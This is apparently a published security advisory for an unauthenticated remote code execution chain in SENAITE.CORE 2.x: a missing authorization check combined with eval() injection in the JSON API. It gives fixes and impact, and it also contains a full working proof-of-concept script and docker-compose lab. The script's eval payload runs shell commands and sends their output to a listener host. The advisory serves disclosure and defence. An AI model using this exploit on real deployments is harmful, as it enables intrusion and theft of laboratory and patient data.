GHSA-jrw6-7x4q-w25j

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    GHSA-jrw6-7x4q-w25j

    Published: 26 Aug 2026Last Modified: 10 Sept 2026

    Summary: senaite.core Vulnerable to Eval Injection and Missing Authorization

    Details: ### Summary An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The `/@@API/update` route is reachable to anonymous callers and runs `eval()` on attacker-controlled input before any permission check fires. This is a different code path from the `eval()` in the calculations module: no authenticated account of any kind is required. ### Details The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the `eval` sink remains exploitable by any authenticated user with write access to a `RecordsField`, so both fixes are needed. **1. Missing `AccessJSONAPI` gate on JSON API write routes (CWE-862).** The route at [`src/bika/lims/jsonapi/update.py:45-165`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/update.py#L45-L165) does not enforce the `senaite.core: Access JSON API` permission upfront. Compare with the sibling [`create.py:179-182`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/create.py#L179-L182), which does: ```python if not getSecurityManager().checkPermission(AccessJSONAPI, parent): raise Unauthorized(...) ``` The check is present on `create` and absent on `update`, `update_many`, `remove`, `doActionFor`, `doActionFor_many`, and `getusers`. The underlying `@@API` view is registered by `plone.jsonapi.core` at [`browser/configure.zcml:8-13`](https://github.com/collective/plone.jsonapi.core/blob/0.6/src/plone/jsonapi/core/browser/configure.zcml#L8-L13) with `permission="zope2.View"`, which is granted to Anonymous on the Plone Site root. When an `obj_uid` is supplied, the route resolves the target through `uid_catalog` and `brain.getObject()`. The catalog brain walks the parent path with `unrestrictedTraverse` and applies `restrictedTraverse` only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because `bika_setup` is anonymous-readable on a stock Plone Site (the `View` permission is acquired from the Plone Site root, which grants `View` to `Anonymous` by default). **2. `eval()` on `RecordsField` / `RecordField` values inside `set_fields_from_request` (CWE-95).** Once an object has been resolved, [`set_fields_from_request` in `jsonapi/__init__.py:199-252`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L199-L252) iterates the request fields. For any field of type `RecordsField` or `RecordField`, the helper runs `eval(value)` on the raw request string at [line 240](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L240), **before** the field mutator and its `write_permission` check execute: ```python elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = eval(value) except Exception: logger.warning( "JSONAPI: " + fieldname + ": Invalid " "JSON/Python variable") return [] ``` The `eval` runs in the Zope worker process with full Python builtins available, so a payload such as `__import__('os').popen('id').read()` executes arbitrary system commands. The transaction savepoint inside `update.py` rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted. The same `eval()` pattern is also present in the field setters at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143). **Anonymous UID discovery.** The `bika_setup` object exposes two `RecordsField`-typed fields: `RejectionReasons` and `IDFormatting`. Its UID is published anonymously by Plone's standard [`@@uuid`](https://github.com/plone/plone.app.uuid) view: ``` GET /senaite/bika_setup/@@uuid HTTP/1.1 HTTP/1.1 200 OK Content-Type: text/plain 8dbc161fa9f74aa4ad6e76eb1934518a ``` **Origin.** Both flaws predate the SENAITE fork. The `eval()` sink was introduced in [`d7bf2d4507`](https://github.com/senaite/senaite.core/commit/d7bf2d4507) (2013-09-04) and the unchecked `update` route in [`be3d8cc916`](https://github.com/senaite/senaite.core/commit/be3d8cc916) (2013). Both remain present on the current 2.x development tip. ### Suggested fixes **Fix 1: add `AccessJSONAPI` check to every state-changing route** in `src/bika/lims/jsonapi/`, mirroring the existing check in `create.py`. An audit of every `IRouteProvider` in [`configure.zcml`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/configure.zcml) is in scope. ```python # src/bika/lims/jsonapi/update.py from AccessControl import getSecurityManager from zExceptions import Unauthorized from senaite.core.permissions import AccessJSONAPI def update(self, context, request): if not getSecurityManager().checkPermission(AccessJSONAPI, context): raise Unauthorized("You don't have permission to update via JSONAPI") savepoint = transaction.savepoint() ... ``` **Fix 2: replace `eval()` with `json.loads()`.** The data shape stored in `RecordField` and `RecordsField` is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely: ```python # src/bika/lims/jsonapi/__init__.py import json elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = json.loads(value) except (ValueError, TypeError): logger.warning("JSONAPI: %s: invalid JSON value", fieldname) return [] ``` Apply the same change at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143). **Defense in depth: re-enable Plone's CSRF protection.** The audited release ships with `class ISenaiteCore(IDisableCSRFProtection)` at [`src/senaite/core/interfaces/__init__.py:30`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/interfaces/__init__.py#L30), which disables `plone.protect`'s automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains. ### PoC Tested against the unmodified upstream Docker image `senaite/senaite:v2.6.0`. No source-code modification, no buildout overrides, no reverse proxy. `PASSWORD` is set to a non-default value to demonstrate that the chain works without the `admin:admin` Docker fallback. **`docker-compose.yml`** ```yaml services: senaite: image: senaite/senaite:v2.6.0 ports: - "8080:8080" environment: PASSWORD: senaitestrong # non-default; chain is credential-free SITE: senaite networks: - poc listener: image: python:3.11-alpine command: - python - -c - | import http.server, socketserver log = [] class H(http.server.BaseHTTPRequestHandler): def do_GET(self): if self.path.startswith('/log'): self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers() self.wfile.write(('\n'.join(log)).encode()) else: log.append(self.path) self.send_response(200); self.end_headers(); self.wfile.write(b'ok') def log_message(self, *a, **k): pass socketserver.TCPServer.allow_reuse_address = True with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever() ports: - "8000:8000" networks: - poc networks: poc: ``` **`poc.py`** ```python #!/usr/bin/env python3 """PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0""" import sys, time, urllib.error, urllib.parse, urllib.request TARGET = "http://localhost:8080" SITE = "senaite" LISTENER_HOST = "http://localhost:8000" LISTENER_INSIDE = "http://listener:8000" PAYLOAD = ( "__import__('urllib2').urlopen(" f"'{LISTENER_INSIDE}/?id=' + " "__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')" ")" ) def http_get(url, timeout=5): req = urllib.request.Request(url, headers={"Accept": "*/*"}) return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore") def http_post(url, fields, timeout=10): body = urllib.parse.urlencode(fields).encode() req = urllib.request.Request(url, data=body, method="POST") return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore") def wait_for_target(): deadline = time.time() + 600 while time.time() < deadline: try: with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r: if r.status == 200: return except Exception: pass time.sleep(3) sys.exit(1) def discover_bika_setup_uid(): body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip() if len(body) == 32 and all(c in "0123456789abcdef" for c in body): return body sys.exit(1) def fire_payload(uid): try: http_post(f"{TARGET}/{SITE}/@@API/update", {"obj_uid": uid, "RejectionReasons": PAYLOAD}) except urllib.error.HTTPError: pass def read_listener(): time.sleep(1) try: log = http_get(f"{LISTENER_HOST}/log", timeout=3) except Exception: return False return "id=" in log if __name__ == "__main__": wait_for_target() uid = discover_bika_setup_uid() fire_payload(uid) sys.exit(0 if read_listener() else 1) ``` **Run** ``` docker compose up -d # wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning python3 poc.py ``` **Expected output** ``` [+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0 captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_ ``` The captured query string is the stdout of `id` from the SENAITE Zope worker, fetched by the worker's `urllib2.urlopen` call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials. ### Impact **Vulnerability type:** Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection). **Who is impacted:** Every SENAITE deployment whose Plone Site root grants `View` to Anonymous (the upstream default) and whose `/@@API/...` endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships `8080:8080` plain HTTP and `/manage` (ZMI) exposed. **Attacker capability after exploit:** - Arbitrary Python execution in the Zope worker process. - Full read/write access to the ZODB (`Data.fs` and `blobstorage`), so any patient/lab data the LIMS holds. - Filesystem access on the container's `/data` volume. - Outbound network egress from the worker. - Direct access to `acl_users` (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed `/manage` ZMI, this gives durable post-exploitation access. **Affected versions:** All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0). ### Credits Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security. - Dr. Simon Weber - Dipl.-Inf. Volker Schönefeld - Chiara Fliegner Website: https://machinespirits.com

    Affected packages

    Package

    Name: senaite-core

    Purl: pkg:pypi/senaite-core

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 2.0.0
    Fixed -None

    Affected versions

    2.0.0

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-jrw6-7x4q-w25j | CVE-DB